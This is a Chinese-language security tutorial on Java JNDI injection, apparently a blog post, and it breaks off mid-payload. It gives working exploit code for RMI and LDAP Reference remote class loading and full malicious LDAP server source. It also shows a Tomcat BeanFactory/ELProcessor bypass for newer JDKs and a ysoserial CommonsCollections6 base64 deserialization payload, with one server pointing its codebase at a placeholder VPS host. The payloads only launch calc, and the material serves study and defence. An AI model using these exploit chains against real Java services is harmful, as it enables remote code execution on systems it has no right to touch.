Java安全-jndi注入 jndi内容比较多,我们先从官方文档查看
官方文档地址:https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
概念以及作用理解 首先第一个问题,什么是 JNDI,它的作用是什么?
根据官方文档,JNDI 全称为 Java Naming and Directory Interface ,即 Java 名称与目录接口。也就是一个名字对应一个 Java 对象。
也就是一个字符串对应一个对象。
JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展 命名服务将名称和对象联系起来,使得读者可以用名称访问对象。目录服务是一种命名服务,在这种服务里,对象不但有名称,还有属性。
jndi 在 jdk 里面支持以下四种服务
LDAP:轻量级目录访问协议
通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务
Java 远程方法调用(RMI) 注册表
DNS 服务
前三种都是字符串对应对象,DNS 是 IP 对应域名。
JNDI 的代码以及包说明 JNDI 主要是上述四种服务,对应四个包加一个主包 JNDI 接口主要分为下述 5 个包:
其中最重要的是 javax.naming 包,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。 以上述打印机服务为例,通过 JNDI 接口,用户可以透明地调用远程打印服务,伪代码如下所示:
JAVA
1 2 3 Context ctx = new InitialContext (env);Printer printer = (Printer)ctx.lookup("myprinter" ); printer.print(report);
Jndi 在对不同服务进行调用的时候,会去调用 xxxContext 这个类,比如调用 RMI 服务的时候就是调的 RegistryContext,这一点是很重要的,记住了这一点对于 JNDI 这里的漏洞理解非常有益。
一般的应用也就是先 new InitialContext(),再调用 API 即可,下面我们先看一个 JNDI 结合 RMI 的代码实例。
JNDI 的利用方式实现和漏洞 JNDI和RMI结合 代码实现 RMI服务端和客户端所有的代码用我们之前的就可以
现在来新建一个JNDIRMIServer类
由JNDI开启一个RMI服务
1 2 3 4 5 6 7 8 9 10 11 import javax.naming.InitialContext; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIRMIServer { public static void main (String[] args) throws Exception{ InitialContext initialContext = new InitialContext (); Registry registry = LocateRegistry.createRegistry(1099 ); initialContext.rebind("rmi://localhost:1099/remoteObj" , new RemoteObjImpl ()); } }
1 2 3 4 5 6 7 8 9 import javax.naming.InitialContext; public class JNDIRMIClient { public static void main (String[] args) throws Exception{ InitialContext initialContext = new InitialContext (); RemoteObj remoteObj = (RemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj" ); System.out.println(remoteObj.sayHello("hello" )); } }
RMI原生漏洞 我们想到,如果这里JNDI开启的服务也是基于原生的RMI服务实现的,那么原生RMI中的漏洞点在JNDI中依旧会适用
那现在去断点调试验证一下
断点下在这里
着重跟进lookup,发现到了RegistryContext类的lookup方法
继续跟进一下
发现会走入到Registry_Stub的lookup方法,能够说明JNDI 调用 RMI 服务的时候,虽然 API 是 JNDI 的,但是还是去调用了原生的 RMI 服务。
所以说,如果 JNDI 这里是和 RMI 结合起来使用的话,RMI 中存在的漏洞,JNDI 这里也会有。但这并不是 JNDI 的传统意义上的漏洞。
引用对象的漏洞
这个漏洞被称作 Jndi 注入漏洞,它与所调用服务无关,不论你是 RMI,DNS,LDAP 或者是其他的,都会存在这个问题。
原理是在服务端调用了一个 Reference 对象
在目录存储对象中支持以下几种对象
java可序列化对象
引用对象
属性对象
远程对象
CORBA对象
平时我们所说的JNDI注入是在引用对象 这里产生的
我们先来看看,引用对象创建的几个参数
第一个是类名,第二个是工厂名,第三个是工厂的位置
1 2 3 4 5 public Reference (String className, String factory, String factoryLocation) { this (className); classFactory = factory; classFactoryLocation = factoryLocation; }
实现 来看一下它的实现,创建一个引用对象,将TestRef类和TestRef工厂绑定到http://localhost:7777下面,再将引用对象 绑定到rmi://localhost:1099/remoteObj中
1 2 3 4 5 6 7 public class JNDIRMIServer { public static void main (String[] args) throws Exception { InitialContext initialContext = new InitialContext (); Reference refObj = new Reference ("TestRef" ,"TestRef" ,"http://localhost:7777/" ); initialContext.rebind("rmi://localhost:1099/remoteObj" ,refObj); }
先构造一个恶意类
1 2 3 4 5 public class Test { public Test () throws Exception { Runtime.getRuntime().exec("calc" ); } }
编译好后放在一个文件夹下,开启一个http服务
1 2 javac -source 1.8 -target 1.8 Test.java python -m http.server 7777 --bind 127.0 .0 .1
正常运行客户端代码后弹出计算器
这里是一定会报错的,因为我们设置的引用对象中并没有sayHello方法
这里有一个需要注意的点:由于调用恶意类的构造函数实在客户端(被攻击端)上执行,所以在编译时候,恶意类的开头不可以带package,否则会报出NoClassDefFoundError错误。并且不能成功弹出计算器
分析 下一个断点看看调用的流程
从lookup方法得到对象后,发现是一个ReferenceWrapper_Stub对象,而我们实际绑定的是Reference对象
这里初步可以判断更改我们绑定对象的代码应该是rebind方法所在的一句代码
继续在服务端打断点分析
一路跟进到这里,发现这个rebind绑定的是一个经过encodeObject的对象
这个方法中就是把Reference对象封装成了ReferenceWrapper对象
知道这个之后,我们回到客户端继续刚才的lookup分析,看一下究竟是如何进行的初始化
一路跟进到RegistryContext类的lookup方法
可以看到有encode对应的decodeObject方法
这里这个方法就是将接受到的ReferenceWrapper_Stub对象,变为我们开始创建的Reference对象
我们快走出RegistryContext类了,但是还是没有对恶意类进行初始化,也就是说,类加载机制是和容器协议无关 (RMI)的
return时会走入NamingManager的getObjectInstance方法内
跳过一些中间不是很重要的代码,来到这个类的319行
获取引用对象的工厂类,就是我们构造的恶意工厂类
通过我们写的地址找到工厂类,开始加载类
进入到这个loadClass方法看一下
会先在本地找这个工厂类,显然是找不到的,返回的null
继续跟进
发现没找到之后就会通过codebase去找,codebase中放着我们传入的地址
新建了一个URLClassLoader把codebase传进去
加载了这个类之后还会有一个实例化操作
这个实例化操作会执行被实例化类的无参构造函数,就会执行我们写的恶意代码,从而弹出计算器
总结 这里存在两个攻击面:
rmi原生问题(这里就没有演示了)
jndi注入
JNDI和ldap结合 (8u191之前可以绕过)
LDAP不是java的东西,而是一个通用协议
在jdk8u121后,修复了RMI和COBAR的攻击点,唯独漏下一个LDAP(8u191),所以我们接下来看一下
实现
先起一个 LDAP 的服务,这里需要先在 pom.xml 中导入 unboundid-ldapsdk 的依赖。
1 2 3 4 5 6 <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.2 .0 </version> <scope>test</scope> </dependency>
对应的 server 的代码
LdapServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) { String url = "http://127.0.0.1:8000/#EvilObject" ; int port = 1234 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "Exploit" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
这里maven导入的时候出了一点问题,所以最后是没有复现成功
更坏的是另一个创建ldap服务器的工具我也用不了
不知到为什么会出现这种问题
客户端这里和上面是差不多的,只是把服务替换成了 ldap
JNDILdapClient.java
1 2 3 4 5 6 7 8 9 import javax.naming.InitialContext; public class JNDILdapClient { public static void main (String[] args) throws Exception{ InitialContext initialContext = new InitialContext (); RemoteObj remoteObj = (RemoteObj) initialContext.lookup("ldap://localhost:1099/remoteObj" ); System.out.println(remoteObj.sayHello("hello" )); } }
先用 python 起一个 HTTP 服务,再跑服务端代码,再跑客户端
最后如果顺利是能弹出计算器的
注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP Reference远程工厂类的加载增加了限制。
所以,当JDK版本介于8u191、7u201、6u211与6u141、7u131、8u121之间时,我们就可以利用LDAP+Reference的技巧来进行JNDI注入的利用
因此,这种利用方式的前提条件就是目标环境的JDK版本在JDK8u191、7u201、6u211以下
分析 跟我们之前分析的一样,调用什么服务就会走到“xxxxContext”类,这个也一样
调试一下可以看到一路跟进走到了LdapCtx#c_lookup
这个方法中比较关键的代码就是这一行
进入这个decodeObject方法
可以看到这个是会根据我们传入对象的零星不同走入不同方法
我们传入的是一个引用对象,所以会走入decodeReference方法,从这个方法出来后,就获取到了传入的Reference
实际上还是跟rmi的流程很像的
继续跟进,比较重要的代码在这里
通过调用DirectoryManager.getObjectInstance,走出协议对应的类
走入DirectoryManager#getObjectInstance后,我们发现和rmi的的后半段是基本一样的,进入getObjectFactoryFromReference
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment, Attributes attrs) throws Exception { ...... if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory instanceof DirObjectFactory) { return ((DirObjectFactory)factory).getObjectInstance( ref, name, nameCtx, environment, attrs); } else if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } ...... }
这里就和rmi一样了,首先进行本地类加载,若在本地没有找到,则从codebase中查找,若找到则进行类加载,最后进行类的初始化,触发构造函数,弹出计算机
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 static ObjectFactory getObjectFactoryFromReference ( Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
关于ldap的分析在这里就可以结束了
高版本绕过方式 jdk 版本在 8u191 之前的绕过手段 这里的 jdk 版本是 jdk8u121 < temp < jdk8u191 ;才可以打。
绕过方法很简单,就是我们上面说的 ldap 的 JNDI 漏洞,其实这也无关 ldap。通过 RMI 也是可以打的,这也就是 JNDI 通用漏洞,原因是可以动态加载字节码,分析过程和上面是一样的,也有断点,这里就不赘述了。
然后我们集中看一下 jdk8u191 之后的版本对于这个漏洞是通过什么手段来修复的。
修复手段源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { if ("true" .equalsIgnoreCase(trustURLCodebase)) { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); } else { return null ; } }
在使用 URLClassLoader 加载器加载远程类之前加了个if语句检测
根据 trustURLCodebase的值是否为true 的值来进行判断,它的值默认为 false。通俗的来说,jdk8u191 之后的版本通过添加 trustURLCodebase 的值是否为 true 这一手段,让我们无法加载 codebase,也就是无法让我们进行 URLClassLoader 的攻击了。
下面我们来讲 jdk8u191 版本之后的绕过手段。
jdk 版本在 8u191 之后的绕过方式
这里我们主要的攻击方式是 利用本地恶意 Class 作为Reference Factory
利用本地恶意 Class 作为 Reference Factory 简单地说,就是要服务端本地 ClassPath 中存在恶意 Factory 类可被利用来作为 Reference Factory 进行攻击利用。该恶意 Factory 类必须实现 javax.naming.spi.ObjectFactory 接口,实现该接口的 getObjectInstance() 方法。
这里找到的是这个 org.apache.naming.factory.BeanFactory 类,其满足上述条件并存在于 Tomcat8 依赖包中,应用广泛。该类的 getObjectInstance() 函数中会通过反射的方式实例化 Reference 所指向的任意 Bean Class(Bean Class 就类似于我们之前说的那个 CommonsBeanUtils 这种),并且会调用 setter 方法为所有的属性赋值。而该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象,均是攻击者可控的。
实现 先引入tomcat依赖
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <dependency > <groupId > org.apache.tomcat</groupId > <artifactId > tomcat-catalina</artifactId > <version > 9.0.68</version > </dependency > <dependency > <groupId > org.apache.tomcat.embed</groupId > <artifactId > tomcat-embed-core</artifactId > <version > 9.0.68</version > </dependency > <dependency > <groupId > org.apache.tomcat.embed</groupId > <artifactId > tomcat-embed-el</artifactId > <version > 9.0.68</version > </dependency >
开启RMI服务端
1 2 3 4 5 public class RMIServer { public static void main (String[] args) throws Exception { IRemoteObj remoteObj = new RemoteObjImpl (); Registry r = LocateRegistry.createRegistry(1099 ); r.bind("remoteObj" ,remoteObj);
然后将一个构造好恶意的ResourceRef绑定到remoteObj上面,使用客户端的lookup方法进行查询,即可执行恶意代码
1 2 3 4 5 6 7 8 9 10 11 public class JNDIRMIByPass { public static void main (String[] args) throws Exception { InitialContext initialContext= new InitialContext (); ResourceRef ref = new ResourceRef ("javax.el.ElProcessor" ,null ,"" ,"" ,true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr ("forceString" ,"x=eval" )); ref.add(new StringRefAddr ("x" ,"Runtime.getRuntime().exec('calc')" )); initialContext.rebind("rmi://localhost:1099/remoteObj" ,ref); } }
客户端
1 2 3 4 5 6 7 8 9 10 import javax.naming.Context; import javax.naming.InitialContext; public class JNDIBypassHighJavaClient { public static void main (String[] args) throws Exception { String uri = "rmi://localhost:1099/remoteObj" ; Context context = new InitialContext (); context.lookup(uri); } }
顺利的话能够成功弹出计算器
分析 我们现在断点调试一下,前面的步骤我们就不看了
直接来到getObjectFactoryFromReference,看看到底获取到了什么
看到这里是传入了我们构造好的恶意的reference
会先在本地加载,是能够顺利加载到的
加载到之后与之前的一样,会先实例化,这里会调用这个类的无参构造方法
之后会按照我们传入的参数新建一个对象
就从这里调用了BeanFactory类的getObjectInstance方法
跟进一下getObjectInstance方法,这个方法是可以被利用的,这个方法可以利用反射
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException { if (obj instanceof ResourceRef) { try { Reference ref = (Reference)obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null ; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null ) { try { beanClass = tcl.loadClass(beanClassName); } catch (ClassNotFoundException var26) { } } else { try { beanClass = Class.forName(beanClassName); } catch (ClassNotFoundException var25) { ClassNotFoundException e = var25; e.printStackTrace(); } } if (beanClass == null ) { throw new NamingException ("Class not found: " + beanClassName); } else { BeanInfo bi = Introspector.getBeanInfo(beanClass); PropertyDescriptor[] pda = bi.getPropertyDescriptors(); Object bean = beanClass.getConstructor().newInstance(); RefAddr ra = ref.get("forceString" ); Map<String, Method> forced = new HashMap (); String value; String propName; int i; if (ra != null ) { value = (String)ra.getContent(); Class<?>[] paramTypes = new Class []{String.class}; String[] arr$ = value.split("," ); i = arr$.length; for (int i$ = 0 ; i$ < i; ++i$) { String param = arr$[i$]; param = param.trim(); int index = param.indexOf(61 ); if (index >= 0 ) { propName = param.substring(index + 1 ).trim(); param = param.substring(0 , index).trim(); } else { propName = "set" + param.substring(0 , 1 ).toUpperCase(Locale.ENGLISH) + param.substring(1 ); } try { forced.put(param, beanClass.getMethod(propName, paramTypes)); } catch (SecurityException | NoSuchMethodException var24) { throw new NamingException ("Forced String setter " + propName + " not found for property " + param); } } } Enumeration<RefAddr> e = ref.getAll(); while (true ) { while (true ) { do { do { do { do { do { if (!e.hasMoreElements()) { return bean; } ra = (RefAddr)e.nextElement(); propName = ra.getType(); } while (propName.equals("factory" )); } while (propName.equals("scope" )); } while (propName.equals("auth" )); } while (propName.equals("forceString" )); } while (propName.equals("singleton" )); value = (String)ra.getContent(); Object[] valueArray = new Object [1 ]; Method method = (Method)forced.get(propName); if (method != null ) { valueArray[0 ] = value; try { method.invoke(bean, valueArray); } catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) { throw new NamingException ("Forced String setter " + method.getName() + " threw exception for property " + propName); } } } } } } } else { return null ; } }
ra是从引用里获取forceString,我们这里传入的值为x=eval
这里会检查,是否存在=(等于号的ascii为61),不存在就会调用默认属性的setter方法,存在就会取其键值,键为属性名,而值是其指定的setter方法
这里这段代码,把x的setter强行指定为eval方法,这就是我们的关键利用点,之后就会获取beanClass即
javax.el.ELProcessor的eval方法并同x属性一同放入forced这个HashMap中
接着是多个 do while 语句来遍历获取 ResourceRef 类实例 addr 属性的元素,当获取到 addrType 为 x 的元素时退出当前所有循环,然后调用getContent()方法来获取x属性对应的 contents 即恶意表达式。这里就是恶意 RMI 服务端中 ResourceRef 类实例添加的第二个元素
获取到类型为x对应的内容为恶意表达式后,从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量,最后就是通过method.invoke()即反射调用的来执行
这里就会调用ELProcessor.eval然后传入参数顺利执行,弹出计算器
选择ELProcessor的原因 根据源代码的逻辑,我们可用得到这样几个信息,在ldap或rmi服务器端,我们可用设定几个特殊的RefAddr,
1 2 3 4 5 · 该类必须有无参构造方法 · 并在其中设置一个forceString字段指定某个特殊方法名,该方法执行String类型的参数 · 通过上面的方法和一个String参数即可实现RCE
恰好有javax.el.ELProcessor 满足该条件!!!
利用 LDAP 返回序列化数据,触发本地 Gadget
因为 LDAP + Reference 的路子是走不通的,完美思考用链子的方式进行攻击。
LDAP 服务端除了支持 JNDI Reference 这种利用方式外,还支持直接返回一个序列化的对象。如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化。此时,如果服务端 ClassPath 中存在反序列化和多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击。
这也就是平常 JNDI 漏洞存在最多的形式,通过与其他链子结合
使用 ysoserial 工具生成 Commons-Collections 这条 Gadget 并进行 Base64 编码输出:
1 java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64
1 rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=
恶意 LDAP 服务器如下,主要是在 javaSerializedData 字段内填入刚刚生成的反序列化 payload 数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 import com.unboundid.util.Base64; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import java.text.ParseException; public class JNDIGadgetServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) { String url = "http://vps:8000/#ExportObject" ; int port = 1234 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "Exploit" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } try { e.addAttribute("javaSerializedData" , Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlc